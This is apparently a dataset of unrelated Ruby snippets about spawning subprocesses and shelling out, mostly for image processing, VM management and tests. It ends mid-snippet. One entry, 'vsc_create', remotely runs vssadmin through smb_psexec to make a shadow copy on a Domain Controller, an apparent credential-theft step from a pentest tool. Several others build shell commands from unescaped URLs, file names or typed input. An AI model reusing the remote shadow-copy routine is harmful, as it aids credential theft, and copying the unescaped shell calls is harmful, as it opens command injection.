"def spawn_daemon(file,id)\nafile = File.open(file, \"r\")\nafile.each_line do |line|\n\tline.chomp!\n\t(nodeid, ip, lport, dport, sport)=line.split\n\tif(nodeid.to_i == id) # dont forget to convert to int\n\t\tputs \"./srouted -i #{id} -c #{file} -a 1 &\"\n\t system(\"./srouted -i #{id} -c #{file} -a 1 &> /dev/null &\")\n\t\treturn 1 \n\tend\nend\nend",
"def test02()\n baseImageName = \"radialgradient.jpg\"\n begin\n theCommands = CommandModule::SmigCommands.new\n theCommands.saveresultstype = :lastcommandresult\n\n # 1. Create the bitmap context command\n bitmapContextName = SecureRandom.uuid\n createBitmapContextCommand = CommandModule.make_createbitmapcontext(\n width: 600, height: 450,\n name: bitmapContextName)\n bitmapContextObject = SmigIDHash.make_objectid(objecttype: :bitmapcontext,\n objectname: bitmapContextName)\n theCommands.add_command(createBitmapContextCommand)\n theCommands.add_tocleanupcommands_closeobject(bitmapContextObject)\n\n # 3. Setup the radial gradient fill\n radialGradientFill = MIRadialGradientFillElement.new()\n centerPoint1 = MIShapes.make_point(40, 30.0)\n centerPoint2 = MIShapes.make_point(450, 300.0)\n radialGradientFill.center1 = centerPoint1\n radialGradientFill.radius1 = 25\n radialGradientFill.center2 = centerPoint2\n radialGradientFill.radius2 = 145\n locations = [ 0.0, 1.0 ]\n redColor = MIColor.make_rgbacolor(0.95, 0.2, 0.35)\n greenColor = MIColor.make_rgbacolor(0.3, 0.9, 0.2, a: 0.8)\n colors = [ redColor, greenColor ]\n radialGradientFill.set_arrayoflocations_andarrayofcolors(locations, colors)\n radialGradientFill.add_drawgradient_option(:kCGGradientDrawsBeforeStartLocation)\n # 3. Make draw radial gradient fill command and add it to list of commands\n drawCommand = CommandModule.make_drawelement(bitmapContextObject, \n drawinstructions: radialGradientFill)\n theCommands.add_command(drawCommand)\n\n tempFile = File.join(Dir.tmpdir(), baseImageName)\n# tempFile = File.join($compareImageDir, baseImageName)\n # 7. Make the create image exporter object command\n imageExporterName = SecureRandom.uuid\n createExporterCommand = CommandModule.make_createexporter(tempFile,\n export_type: :\"public.jpeg\",\n name: imageExporterName)\n exporterObject = SmigIDHash.make_objectid(objecttype: :imageexporter,\n objectname: imageExporterName)\n theCommands.add_command(createExporterCommand)\n theCommands.add_tocleanupcommands_closeobject(exporterObject)\n\n # 8. Make an add image command and add it to list of commands\n addImageToExporterCommand = CommandModule.make_addimage(\n exporterObject, bitmapContextObject)\n theCommands.add_command(addImageToExporterCommand)\n\n # Make the export image file command and add it to the list of commands.\n exportImageToFileCommand = CommandModule.make_export(exporterObject)\n theCommands.add_command(exportImageToFileCommand)\n\n commandsHash = theCommands.commandshash\n $teststring = commandsHash.to_json\n # puts JSON.pretty_generate(commandsHash)\n theResult = Smig.perform_commands(commandsHash)\n\n origFile = File.join($compareImageDir, baseImageName)\n # 9. Compare with previously saved image.\n unless AreImageFilesSame(origFile, tempFile)\n # 10. Report if different.\n raise \"Different image files: \" + origFile + \" and \" + tempFile\n end\n rescue RuntimeError => e\n $errorcode = Smig.exitvalue\n unless $errorcode.zero?\n puts \"Exit string: \" + Smig.exitstring\n puts $teststring + \" Exit status: \" + $errorcode.to_s\n end\n puts e.message\n puts e.backtrace.to_s\n# exit 240\n ensure\n FileUtils.rm_f(tempFile) unless tempFile.nil?\n# Open3.capture2(\"open\", tempFile) unless tempFile.nil?\n end\nend",
"def run(*args, **options)\n Dir.mktmpdir do |tmp|\n out_pathname = File.join(tmp, 'out')\n err_pathname = File.join(tmp, 'err')\n options[:out] = out_pathname\n options[:err] = err_pathname\n options[:in] = '/dev/null'\n\n command = args.map(&:to_s)\n Process.waitpid(Process.spawn(*command, **options))\n\n [\n $CHILD_STATUS.exitstatus,\n File.read(out_pathname),\n File.read(err_pathname)\n ]\n end\nend",
"def process\n result = Tempfile.new([\"\", self.extension])\n result.binmode\n begin\n parameters = []\n parameters << self.path\n if width and height\n parameters << case operation\n when '#' then \"-resize #{width}x#{height}^ -gravity center -extent #{width}x#{height}\"\n when '<' then \"-resize #{width}x#{height}\\\\<\"\n when '>' then \"-resize #{width}x#{height}\\\\>\"\n else \"-resize #{width}x#{height}\"\n end\n end\n parameters << \"-quality #{quality}\" if quality\n parameters << result.path\n parameters = parameters.join(\" \").squeeze(\" \")\n `convert #{parameters} #{redirect}`\n raise Errno::ENOENT if $?.exitstatus == 127\n rescue Errno::ENOENT\n raise \"command 'convert' not found: ensure ImageMagick is installed\"\n end\n unless $?.exitstatus == 0\n raise Attached::Processor::Error, \"must be an image file\"\n end\n return result\n end",
"def makesheet(edir, emote, framedir)\n fdelays = []\n Dir.chdir(framedir)\n frames = Dir.glob(\"*_frame*png\").sort\n Dir.glob(emote + \"*txt\").sort.each do |file|\n delay = File.read(file).chomp\n fdelays << delay\n end\n if(fdelays.uniq.length != 1)\n frames << frames[0]\n end\n img = ImageList.new(framedir + \"/\" + frames[0])\n ex, ey = img.columns, img.rows\n img = ImageList.new\n frames.each do |frame|\n img.push(Image.read(framedir + \"/\" + frame).first)\n end\n begin\n img.append(false).write(edir + \"/\" + emote + \"-sheet.png\")\n rescue Exception\n puts \"Could not write: \" + edir + \"/\" + emote + \"-sheet.png\"\n end\n system(\"optipng -quiet \" + edir + \"/\" + emote + \"-sheet.png > \" + $bitbucket)\n return ex, ey\nend",
"def spawn_process(args = nil)\n #Used for printing debug-stuff.\n @main = true\n\n if args && args[:exec]\n cmd = \"#{args[:exec]}\"\n else\n if RbConfig::CONFIG[\"bindir\"]\n cmd = \"#{RbConfig::CONFIG[\"bindir\"]}/ruby\"\n else\n cmd = \"ruby\"\n end\n end\n\n cmd << \" \\\"#{File.realpath(File.dirname(__FILE__))}/../scripts/ruby_process_script.rb\\\" --pid=#{@my_pid}\"\n cmd << \" --debug\" if @args[:debug]\n cmd << \" \\\"--title=#{@args[:title]}\\\"\" unless @args[:title].to_s.strip.empty?\n\n #Start process and set IO variables.\n require \"open3\"\n @io_out, @io_in, @io_err = Open3.popen3(cmd)\n @io_out = Tsafe::Proxy.new(obj: @io_out)\n @io_out.sync = true\n @io_in.sync = true\n @io_err.sync = true\n\n started = false\n @io_in.each_line do |str|\n if str == \"ruby_process_started\\n\"\n started = true\n break\n end\n\n debug \"Ruby-process-debug from stdout before started: '#{str}'\\n\" if @debug\n end\n\n raise \"Ruby-sub-process couldnt start: '#{@io_err.read}'.\" unless started\n self.listen\n\n #Start by getting the PID of the process.\n begin\n @pid = self.static(:Process, :pid).__rp_marshal\n raise \"Unexpected PID: '#{@pid}'.\" if !@pid.is_a?(Fixnum) && !@pid.is_a?(Integer)\n rescue => e\n self.destroy\n raise e\n end\n\n if block_given?\n begin\n yield(self)\n ensure\n self.destroy\n end\n\n return self\n else\n return self\n end\n end",
"def popen3(&block)\n Open3.popen3(*spawn_args, &block)\n end",
"def _call(ffmpeg_source_arg)\n tempfile = Tempfile.new(['temp_deriv', \".jpg\"])\n\n ffmpeg_args = produce_ffmpeg_args(input_arg: ffmpeg_source_arg, output_path: tempfile.path)\n\n TTY::Command.new(printer: :null).run(*ffmpeg_args)\n\n return tempfile\n rescue StandardError => e\n tempfile.unlink if tempfile\n raise e\n end",
"def attach_file_to_parallels_vm(options)\n message = \"Information:\\tAttaching Image \"+options['file']+\" to \"+options['name']\n command = \"prlctl set \\\"#{options['name']}\\\" --device-set cdrom0 --image \\\"#{options['file']}\\\"\"\n execute_command(options,message,command)\n return\nend",
"def shell_commands(cmd, args); end",
"def spawned; end",
"def spawned; end",
"def setup()\n @strm = IO::popen(\"#{@commandPath} #{@commandOpts}\",'r+') ;\n call(\"display2d:false;\")\n call(\"linel:1000000000;\")\n end",
"def generate_png\n command = \"python #{Rails.root}/lib/webkit2png --transparent -F -o #{id} -D #{Rails.root}/tmp #{url} \"\n system command\n return \"#{Rails.root}/tmp/#{id}-full.png\"\n end",
"def remote_process\n\t start_r, start_w= IO.pipe\n\t quit_r, quit_w = IO.pipe\n\t remote_pid = fork do\n begin\n start_r.close\n yield\n rescue Exception => e\n puts e.full_message\n end\n\n start_w.write('OK')\n quit_r.read(2)\n\t end\n\t start_w.close\n\t result = start_r.read(2)\n\n\t remote_processes << [remote_pid, quit_w]\n\t remote_pid\n\n\tensure\n\t # start_r.close\n\tend",
"def run_command f\n files=nil\n case f\n when Array\n # escape the contents and create a string\n files = Shellwords.join(f)\n when String\n files = Shellwords.escape(f)\n end\n begin\n # TODO put all this get_line stuff into field history\n command = get_line \"Run a command on #{files}: \"\n return if command.size == 0\n command2 = get_line \"Second part of command: \"\n # FIXME we may need to go into cooked mode and all that for this\n # cat and most mess with the output using system\n c_system \"#{command} #{files} #{command2}\"\n rescue Exception => ex\n perror \"Canceled command, (#{ex}) press a key\"\n return\n end\n\n c_refresh\n push_used_dirs Dir.pwd\nend",
"def vsc_create(drive)\n puts \"[\".light_blue + \"*\".white + \"]\".light_blue + \" Creating New Volume Shady Copy from #{drive}\".white\n cmd=\"vssadmin create shadow /for=#{drive}:\"\n begin\n text = \"#{@tmp}\\\\#{Rex::Text.rand_text_alpha(16)}.txt\"\n bat = \"#{@tmp}\\\\#{Rex::Text.rand_text_alpha(16)}.bat\"\n cmdexec = \"%COMSPEC% /C echo #{cmd} ^> #{text} > #{bat} & %COMSPEC% /C start %COMSPEC% /C #{bat}\"\n# cmdexec = \"%COMSPEC% /C #{cmd} > #{text}\"\n smb_psexec(cmdexec, false)\n puts \"[\".light_blue + \"*\".white + \"]\".light_blue + \" taking short 30 second nap to ensure it has enough time....\".white\n sleep(30) # Need to provide sufficient time for this process to complete or your S.O.L.\n output = get_output(text, false)\n files = [ text, bat ]\n cleanup_after(files, false)\n if output =~ /Successfully created shadow copy/i\n if output =~ /Shadow Copy ID: (.+)/i\n id=$1.chomp\n end\n if output =~ /Shadow Copy Volume Name: (.+)/i\n path=$1.chomp\n end\n if not id.nil? and not path.nil?\n puts \"[\".light_green + \"*\".white + \"]\".light_green + \" New Volume Shady Copy ID: #{id}\".white\n puts \"[\".light_green + \"*\".white + \"]\".light_green + \" New Volume Shady Copy Location: #{path}\".white\n return id, path\n else\n return nil, nil\n end\n else\n puts \"[\".light_red + \"*\".white + \"]\".light_red + \" Error creating Volume Shadow Copy!\".white\n puts \"[\".light_red + \"*\".white + \"]\".light_red + \" Make sure you have enough privileges and that this is a Domain Controller.....\".white\n return nil, nil\n end\n rescue Rex::Proto::SMB::Exceptions::InvalidCommand => e\n puts \"[\".light_red + \"*\".white + \"]\".light_red + \" Error creating Volume Shadow Copy!\".white\n puts \"[\".light_red + \"*\".white + \"]\".light_red + \" Make sure you have enough privileges and that this is a Domain Controller.....\".white\n return nil, nil\n end\nend",
"def clipart\n output = get_working_image(@session_id)\n unless File.exist?(output)\n FileUtils.cp(\"#{Rails.root}/public/#{params[:src]}\", output)\n img = Image.read(output).first\n img = img.scale(params[:rs].to_f) unless params[:rs].blank?\n img = img.level_colors(params[:b] || \"\", params[:w] || \"\", true) if params[:b] || params[:w]\n img.background_color = \"none\"\n img.rotate!(params[:r].to_f) unless params[:r].blank?\n\n #For embroidery\n if params[:emb] == 'true'\n img = img.ordered_dither\n end\n #FLIP/FLOP/Transpose/Transverse\n if params[:ff] == 'flip'\n img.flip!\n elsif params[:ff] == 'flop'\n img.flop!\n elsif params[:ff] == 'transpose'\n img.transpose!\n elsif params[:ff] == 'transverse'\n img.transverse!\n end\n #Extracts a channel\n if params[:ec] == 'R'\n img = img.channel(Magick::RedChannel)\n elsif params[:ec] == 'G'\n img = img.channel(Magick::GreenChannel)\n elsif params[:ec] == 'B'\n img = img.channel(Magick::BlueChannel)\n end\n\n #Applies a special effect to the image - QuantumRange\n img = img.sepiatone(Magick::QuantumRange * params[:qr].to_f) unless params[:qr].blank?\n\n #Vignette (Shape Edge)\n if params[:vig] == 'true'\n img = img.vignette\n end\n\n #Wet Floor\n if params[:wf]\n img = img.wet_floor\n end\n img.write(output)\n end\n img = Image.read(output).first\n send_data img.to_blob, :disposition => 'inline', :type => 'image/png'\n end",
"def build_command\n command_builder.tap do |mogrify|\n mogrify.density((72 * 4).to_s)\n mogrify.background options[:colors][:background].to_s\n mogrify.fill options[:colors][:foreground].to_s\n mogrify.pointsize options[:font][:size].to_s\n mogrify.antialias\n mogrify.font options[:font][:family]\n mogrify.direction direction if direction\n mogrify.gravity options[:gravity].to_s if options[:gravity]\n\n # While we convert to png, imagemagick will still output the format given\n # by the extension. This allows users to costumize the output with the\n # outfile extension.\n mogrify << '-format png'\n mogrify.trim\n mogrify.resize '25%'\n mogrify << '+repage'\n mogrify.crop \"#{ options[:width] }x#{ options[:height] }+0+0\"\n mogrify.extent \"#{ options[:width] }x#{ options[:height] }\"\n mogrify << '+repage'\n # This extra gravity call prevents left-to-right text from rendering centered\n mogrify.gravity 'NorthWest'\n mogrify << '+strip'\n mogrify.write outfile\n mogrify << \"label:'#{ text_content }'\"\n end\n end",
"def shoot_4in1(basename, remain_intermediate = false)\n name_x = basename + '-x'\n name_y = basename + '-y'\n name_z = basename + '-z'\n name_w = basename + '-w'\n name_zw = basename + '-zw'\n name_xy = basename + '-xy'\n #name_zwxy = basename + '-zwxy'\n name_zwxy = basename\n\n r = 10.0\n povray = Marshal.load(Marshal.dump(self))\n povray.camera_location_polar(r, 0, 0) ; povray.shoot_snap( name_z )\n povray.camera_location_polar(r, 90, 0) ; povray.shoot_snap( name_x )\n povray.camera_location_polar(r, 90, 90) ; povray.shoot_snap( name_y )\n #povray.camera_location_polar(r, 80, 70) ; povray.shoot_snap( name_w )\n povray.camera_location_polar(r, 120, 230) ; povray.shoot_snap( name_w )\n\n system \"convert +append #{name_z }.png #{name_w }.png #{name_zw }.png\"\n system \"convert +append #{name_x }.png #{name_y }.png #{name_xy }.png\"\n system \"convert -append #{name_zw}.png #{name_xy}.png #{name_zwxy}.png\"\n\n #中間ファイルを消す。\n unless remain_intermediate\n [\n name_w + '.png',\n name_w + '.pov',\n name_x + '.png',\n name_x + '.pov',\n name_y + '.png',\n name_y + '.pov',\n name_z + '.png',\n name_z + '.pov',\n name_zw + '.png',\n name_xy + '.png',\n ].each do |file|\n FileUtils.rm file if FileTest.exist? file\n end\n end\n end",
"def start *args\n return self if attached? or running?\n @pid = ::Process.spawn Nutcracker.executable, *command\n Process.detach(@pid)\n sleep 2\n raise \"Nutcracker failed to start\" unless running?\n Kernel.at_exit { kill if running? }\n self\n end",
"def screenshoot(url, filename)\n unless File.exists?(\"#{IMG_DIR}/#{filename}.png\")\n system \"python webkit2png.py -t #{IMG_TIMEOUT} -o #{IMG_DIR}/#{filename}.png #{url} \"\n else \n puts \"Already screenshoted: #{IMG_DIR}/#{filename}.png\"\n end\nend",
"def original_run_command; end",
"def test02()\n imageFile = $directory + \"/images/DSCN0733.JPG\"\n baseImageName = \"rotatedimage.jpg\"\n begin\n # Create the object that will contain the list of commands.\n theCommands = CommandModule::SmigCommands.new\n theCommands.saveresultstype = :lastcommandresult\n\n # Create the name for the importer object.\n importerName = SecureRandom.uuid\n \n createImporterCommand = CommandModule.make_createimporter(imageFile,\n name: importerName)\n theCommands.add_command(createImporterCommand)\n\n # Create the image importer object id so we can refer to it later on.\n imageImporterObject = SmigIDHash.make_objectid(objecttype: :imageimporter,\n objectname: importerName)\n\n # Get the dimensions of the image at image index 0 in the image file.\n # So we can calculate how big the bitmap context can be.\n imageDimensions = SpotlightCommand.get_imagedimensions(imageFile)\n\n # Create the bitmap context object command but first make the name\n bitmapContextName = SecureRandom.uuid\n createBitmapContextCommand = CommandModule.make_createbitmapcontext(\n width: imageDimensions[:width],\n height: imageDimensions[:height],\n name: bitmapContextName)\n\n # Add the create bitmap context to the list of commands\n theCommands.add_command(createBitmapContextCommand)\n\n # Create the bitmapcontext object id so we can refer to it later on.\n bitmapContextObject = SmigIDHash.make_objectid(objecttype: :bitmapcontext,\n objectname: bitmapContextName)\n\n # Prepare for the draw element action.\n # The draw element action will draw a rotated image into the bitmapcontext\n width = imageDimensions[:width] * 0.5\n height = imageDimensions[:height] * 0.5\n x = width * 0.5\n y = height * 0.5\n theSize = MIShapes.make_size(width, height)\n theOrigin = MIShapes.make_point(x, y)\n sourceRect = MIShapes.make_rectangle(size: theSize, origin: theOrigin)\n destRect = sourceRect\n drawImageElement = MIDrawImageElement.new()\n drawImageElement.set_imagefile_imagesource(source_object: imageImporterObject,\n imageindex: 0)\n drawImageElement.destinationrectangle = destRect\n contextTransform = MITransformations.make_contexttransformation()\n MITransformations.add_translatetransform(contextTransform,\n { :x => width, :y => height })\n MITransformations.add_rotatetransform(contextTransform, Math::PI / 4.0)\n MITransformations.add_translatetransform(contextTransform,\n { :x => -width, :y => -height })\n drawImageElement.contexttransformations = contextTransform\n\n # Create the drawelement command.\n drawCommand = CommandModule.make_drawelement(bitmapContextObject,\n drawinstructions: drawImageElement)\n\n # Add the draw element command to the list of commands.\n theCommands.add_command(drawCommand)\n\n # Prepare for creating the image exporter object command\n tempFile = File.join(Dir.tmpdir(), baseImageName)\n imageExporterName = SecureRandom.uuid\n \n # Make the image file export object command.\n createExporterCommand = CommandModule.make_createexporter(tempFile,\n export_type: \"public.jpeg\",\n name: imageExporterName)\n exporterObject = SmigIDHash.make_objectid(objecttype: :imageexporter,\n objectname: imageExporterName)\n theCommands.add_command(createExporterCommand)\n \n # Make the add an image to the exporter object command.\n addImageToExporterCommand = CommandModule.make_addimage(\n exporterObject, bitmapContextObject)\n theCommands.add_command(addImageToExporterCommand)\n \n # Make the do export command\n exportImageToFileCommand = CommandModule.make_export(exporterObject)\n theCommands.add_command(exportImageToFileCommand)\n\n # Add close object commands to the cleanup command list.\n theCommands.add_tocleanupcommands_closeobject(imageImporterObject)\n theCommands.add_tocleanupcommands_closeobject(bitmapContextObject)\n theCommands.add_tocleanupcommands_closeobject(exporterObject)\n\n # now actually carry out the commands.\n commandsHash = theCommands.commandshash\n $teststring = commandsHash.to_json\n theResult = Smig.perform_commands(commandsHash)\n origFile = File.join($compareImageDir, baseImageName)\n unless AreImageFilesSame(origFile, tempFile)\n raise \"Different image files: \" + origFile + \" and \" + tempFile\n end\n rescue RuntimeError => e\n $errorcode = Smig.exitvalue\n unless $errorcode.zero?\n puts \"Exit string: \" + Smig.exitstring\n puts $teststring + \" Exit status: \" + $errorcode.to_s\n end\n puts e.message\n puts e.backtrace.to_s\n# exit 240\n ensure\n unless tempFile.nil?\n FileUtils.rm_f(tempFile)\n # Open3.capture2(\"open\", origFile)\n # Open3.capture2(\"open\", tempFile)\n end\n end\nend",
"def initialize(*args)\n @env, @argv, options = extract_process_spawn_arguments(*args)\n @options = options.dup\n @input = @options.delete(:input)\n @timeout = @options.delete(:timeout)\n @max = @options.delete(:max)\n if @options.delete(:pgroup_kill)\n @pgroup_kill = true\n @options[:pgroup] = true\n end\n @options.delete(:chdir) if @options[:chdir].nil?\n exec! if !@options.delete(:noexec)\n end",
"def xdg_open(file_name)\n pid = spawn(\"xdg-open '#{file_name}'\")\n\n Process.wait pid\n\n if $CHILD_STATUS.exitstatus > 0\n warn \"Error when running xdg-open #{file_name}. Exiting...\"\n nil\n end\nend",
"def child_process(result)\n end",
"def execute(command)\n @master, @slave = PTY.open\n @read, @write = IO.pipe\n @pid = spawn(command, in: @read, out: @slave)\n @read.close # we dont need the read\n @slave.close # or the slave\n @running = true\n end",
"def create_host_cmd(options,passwd)\n hammer_cmd = \"hammer\"\n if options[:debug] == true\n hammer_cmd = hammer_cmd + \" --debug\"\n end\n if passwd !=nil\n hammer_cmd = hammer_cmd + \" --password #{passwd}\"\n end\n hammer_cmd = hammer_cmd + \" host create --name #{options[:name]}\"\n if options[:build] == true\n hammer_cmd = hammer_cmd + \" --build true\"\n else\n hammer_cmd = hammer_cmd + \" --build false\"\n end\n hammer_cmd = hammer_cmd + \" --hostgroup-id #{options[:host_group]}\"\n hammer_cmd = hammer_cmd + \" --architecture-id #{options[:arch]}\"\n hammer_cmd = hammer_cmd + \" --operatingsystem-id #{options[:os]}\"\n hammer_cmd = hammer_cmd + \" --medium-id #{options[:media]}\"\n hammer_cmd = hammer_cmd + \" --partition-table-id #{options[:ptable]}\"\n hammer_cmd = hammer_cmd + \" --compute-resource-id #{options[:compute_resource]}\"\n hammer_cmd = hammer_cmd + \" --compute-attributes guest_id='#{options[:guest_type]}',cpus=#{options[:cpus]},memory_mb=#{options[:memory]},cluster='#{options[:cluster]}',path='#{options[:path]}',start=#{options[:start]}\"\n if options[:nic_ip] != nil\n hammer_cmd = hammer_cmd + \" --ip #{options[:nic_ip]}\"\n end\n if options[:nic_mac] != nil\n hammer_cmd = hammer_cmd + \" --mac #{options[:nic_mac]}\"\n end\n hammer_cmd = hammer_cmd + \" --interface=compute_type=#{options[:nic_type]},compute_network=#{options[:nic_network]},name=#{options[:name]},primary=true,identifier=#{options[:nic_name]},managed=#{options[:nic_managed]},provision=true\"\n hammer_cmd = hammer_cmd + \" --volume datastore=#{options[:volume_datastore]},size_gb=#{options[:volume_size]},name=#{options[:name]}\"\n\n return hammer_cmd\nend",
"def start_command\n can_start_instance? or return nil\n\n kvm = SysConf.value_for('kvm_bin')\n basedir = SysConf.value_for(:pid_dir)\n\n inst_num = maint_mode? ? 0 : laboratory.next_instance_to_start\n inst_name = laboratory.instance_name(inst_num)\n mac = laboratory.mac_for_instance(inst_num)\n disks = disk_devs.map {|d| d.dev_string }.join(' ')\n\n pidfile = File.join(basedir,\"#{inst_name}.pid\")\n socket = File.join(basedir, \"#{inst_name}.socket\")\n\n [ \"#{kvm} -name #{inst_name} -m #{ram} -localtime -pidfile #{pidfile}\",\n \"-usb -usbdevice tablet\",\n \"-net nic,macaddr=#{mac},model=#{net_iface.name}\",\n \"-net tap,ifname=tap_#{inst_name},script=/etc/kvm/kvm-ifup\",\n \"-boot c #{disks}\",\n \"-daemonize -vnc none\",\n \"-monitor unix:#{socket},server,nowait\"\n ].join(' ')\n end",
"def test05()\n imageFile = $directory + \"/images/DSCN0733.JPG\"\n baseImageName = \"rotatedimage_a05.jpg\"\n begin\n # Create the object that will contain the list of commands.\n theCommands = CommandModule::SmigCommands.new\n theCommands.saveresultstype = :lastcommandresult\n\n # Create the name for the importer object.\n importerName = SecureRandom.uuid\n \n createImporterCommand = CommandModule.make_createimporter(imageFile,\n name: importerName)\n theCommands.add_command(createImporterCommand)\n\n # Create the image importer object id so we can refer to it later on.\n imageImporterObject = SmigIDHash.make_objectid(objecttype: :imageimporter,\n objectname: importerName)\n\n # Get the dimensions of the image at image index 0 in the image file.\n # So we can calculate how big the bitmap context can be.\n imageDimensions = SpotlightCommand.get_imagedimensions(imageFile)\n\n # Create the bitmap context object command but first make the name\n bitmapContextName = SecureRandom.uuid\n createBitmapContextCommand = CommandModule.make_createbitmapcontext(\n width: imageDimensions[:width],\n height: imageDimensions[:height],\n name: bitmapContextName)\n\n # Add the create bitmap context to the list of commands\n theCommands.add_command(createBitmapContextCommand)\n\n # Create the bitmapcontext object id so we can refer to it later on.\n bitmapContextObject = SmigIDHash.make_objectid(objecttype: :bitmapcontext,\n objectname: bitmapContextName)\n\n # Prepare for the draw element action.\n # The draw element action will draw a rotated image into the bitmapcontext\n width = imageDimensions[:width] * 0.5\n height = imageDimensions[:height] * 0.5\n x = width * 0.5\n y = height * 0.5\n theSize = MIShapes.make_size(width, height)\n theOrigin = MIShapes.make_point(x, y)\n sourceRect = MIShapes.make_rectangle(size: theSize, origin: theOrigin)\n destRect = sourceRect\n drawImageElement = MIDrawImageElement.new()\n drawImageElement.set_imagefile_imagesource(source_object: imageImporterObject,\n imageindex: 0)\n drawImageElement.destinationrectangle = destRect\n drawImageElement.contextalpha = 0.5\n contextTransform = MITransformations.make_contexttransformation()\n MITransformations.add_translatetransform(contextTransform,\n { :x => width, :y => height })\n MITransformations.add_rotatetransform(contextTransform, Math::PI / 4.0)\n MITransformations.add_translatetransform(contextTransform,\n { :x => -width, :y => -height })\n drawImageElement.contexttransformations = contextTransform\n\n # Create the drawelement command.\n drawCommand = CommandModule.make_drawelement(bitmapContextObject,\n drawinstructions: drawImageElement)\n\n # Add the draw element command to the list of commands.\n theCommands.add_command(drawCommand)\n\n # Prepare for creating the image exporter object command\n tempFile = File.join(Dir.tmpdir(), baseImageName)\n # tempFile = File.join($compareImageDir, baseImageName)\n imageExporterName = SecureRandom.uuid\n \n # Make the image file export object command.\n createExporterCommand = CommandModule.make_createexporter(tempFile,\n export_type: \"public.jpeg\",\n name: imageExporterName)\n exporterObject = SmigIDHash.make_objectid(objecttype: :imageexporter,\n objectname: imageExporterName)\n theCommands.add_command(createExporterCommand)\n \n # Make the add an image to the exporter object command.\n addImageToExporterCommand = CommandModule.make_addimage(\n exporterObject, bitmapContextObject)\n theCommands.add_command(addImageToExporterCommand)\n \n # Make the do export command\n exportImageToFileCommand = CommandModule.make_export(exporterObject)\n theCommands.add_command(exportImageToFileCommand)\n\n # Add close object commands to the cleanup command list.\n theCommands.add_tocleanupcommands_closeobject(imageImporterObject)\n theCommands.add_tocleanupcommands_closeobject(bitmapContextObject)\n theCommands.add_tocleanupcommands_closeobject(exporterObject)\n\n # now actually carry out the commands.\n commandsHash = theCommands.commandshash\n $teststring = commandsHash.to_json\n theResult = Smig.perform_commands(commandsHash)\n origFile = File.join($compareImageDir, baseImageName)\n unless AreImageFilesSame(origFile, tempFile)\n raise \"Different image files: \" + origFile + \" and \" + tempFile\n end\n rescue RuntimeError => e\n $errorcode = Smig.exitvalue\n unless $errorcode.zero?\n puts \"Exit string: \" + Smig.exitstring\n puts $teststring + \" Exit status: \" + $errorcode.to_s\n end\n puts e.message\n puts e.backtrace.to_s\n# exit 240\n ensure\n unless tempFile.nil?\n FileUtils.rm_f(tempFile)\n # Open3.capture2(\"open\", tempFile)\n # Open3.capture2(\"open\", origFile)\n end\n end\nend",
"def _external(cmd, opts={})\n #log :info, \"cmd is ||#{cmd.inspect}||\"\n log :info, \"starting [#{cmd.join(' ')}]\" if !opts.has_key?(:silent)\n\n start = Time.now\n outfile = Tempfile.new\n pid = Process.spawn(*cmd, out: outfile.fileno, err: :out)\n SUBPROCS << pid # add to halt list\n\n begin\n _, status = Process.wait2(pid)\n rescue Errno::ECHILD\n # our subproc was killed, usually by our shutdown routine\n exit_code = 1\n else\n exit_code = status.exitstatus\n end\n\n SUBPROCS.delete(pid) # remove from halt list\n diff = format_time_diff(start)\n\n outfile.rewind\n result = outfile.read\n outfile.close!\n\n log :info, \"ran [#{cmd.join(' ')}] in #{diff}\" if !opts.has_key?(:silent)\n \n if exit_code > 0 && !$shutdown\n log :error, \"command [#{cmd.join(' ')}] returned an error (code #{exit_code}), with the following output\"\n log :error, result\n end\n\n if opts.has_key?(:timing)\n return exit_code, result, diff\n else\n return exit_code, result\n end\nend",
"def invoke_job\r\n\r\n # BgWorker.log(\"Worker: invoke job\")\r\n\r\n fork {\r\n\r\n # BgWorker.log(\"Worker: fork: system 'cd #{Rails.root}; rake #{self.name}'\")\r\n\r\n `cd #{Rails.root}; rake #{self.name}`\r\n\r\n # BgWorker.log(\"Worker: fork: closing job #{res ? 'OK' : 'KO'}, return code: #{$?}\")\r\n\r\n self.close_job($?)\r\n }\r\nend",
"def exec\n @build_error = false\n path = File.expand_path('../../../builds', __FILE__)\n image = create_image path\n\n if @build_error\n build.failed('')\n return nil\n end\n image\n end",
"def exec(opts = {})\n opts.with_defaults!(:background => false, :capture => false)\n return `#{self}` if opts[:capture]\n return fork { system(self) } if opts[:background]\n return system(self)\n end",
"def command\n device = \"\"\n if @device != -1\n device = \"--device #{@device.to_s}\"\n end\n blocks = \"\"\n if @include_blocks\n blocks = \"--show_blocks\"\n end\n \"%s --size %d --duration %d --randsleep %s %s\" % [@executable, @input_size,\n @duration, blocks, device]\n end",
"def run_sh(cmd)\n sh cmd\nrescue StandardError\n # ignored\nend",
"def initialize(*args)\n @env, @argv, options = extract_process_spawn_arguments(*args)\n @options = options.dup\n @input = @options.delete(:input)\n @timeout = @options.delete(:timeout)\n @max = @options.delete(:max)\n @prepend_stdout = @options.delete(:prepend_stdout) || \"\"\n @prepend_stderr = @options.delete(:prepend_stderr) || \"\"\n @options.delete(:chdir) if @options[:chdir].nil?\n\n exec!\n end",
"def run(*args, output: :capture, error: nil, fail_mode: :error, chomp: false, sudo: false, error_mode: nil, expected: nil, on_success: nil, quiet: nil, **opts)\n\t\t\tenv, args, spawn_opts=Run.process_command(*args, sudo: sudo, **opts)\n\n\t\t\tif args.is_a?(Array)\n\t\t\t\tif args.length > 1\n\t\t\t\t\tlaunch=args.shelljoin\n\t\t\t\telse\n\t\t\t\t\tlaunch=args.first #assume it has already been escaped\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tlaunch=args.to_s\n\t\t\tend\n\t\t\tlaunch+=\" 2>/dev/null\" if error==:quiet or quiet\n\t\t\tlaunch+=\" >/dev/null\" if output==:quiet\n\t\t\tout=err=nil\n\n\t\t\tbegin\n\t\t\t\tif error==:capture\n\t\t\t\t\tout, err, status=Open3.capture3(env, launch, spawn_opts)\n\t\t\t\telsif output==:capture\n\t\t\t\t\tout, status=Open3.capture2(env, launch, spawn_opts)\n\t\t\t\telse\n\t\t\t\t\tsystem(env, launch, spawn_opts)\n\t\t\t\t\tstatus=$?\n\t\t\t\tend\n\t\t\trescue => e\n\t\t\t\tstatus=false\n\t\t\t\tcase fail_mode\n\t\t\t\twhen :error\n\t\t\t\t\traise e\n\t\t\t\twhen :empty\n\t\t\t\t\tout=\"\"\n\t\t\t\twhen :nil\n\t\t\t\t\tout=nil\n\t\t\t\twhen Proc\n\t\t\t\t\tfail_mode.call(e)\n\t\t\t\tend\n\t\t\tend\n\t\t\tstatus=ProcessStatus.new(status, expected) if expected\n\t\t\tstatus_success=status.success? if status.respond_to? 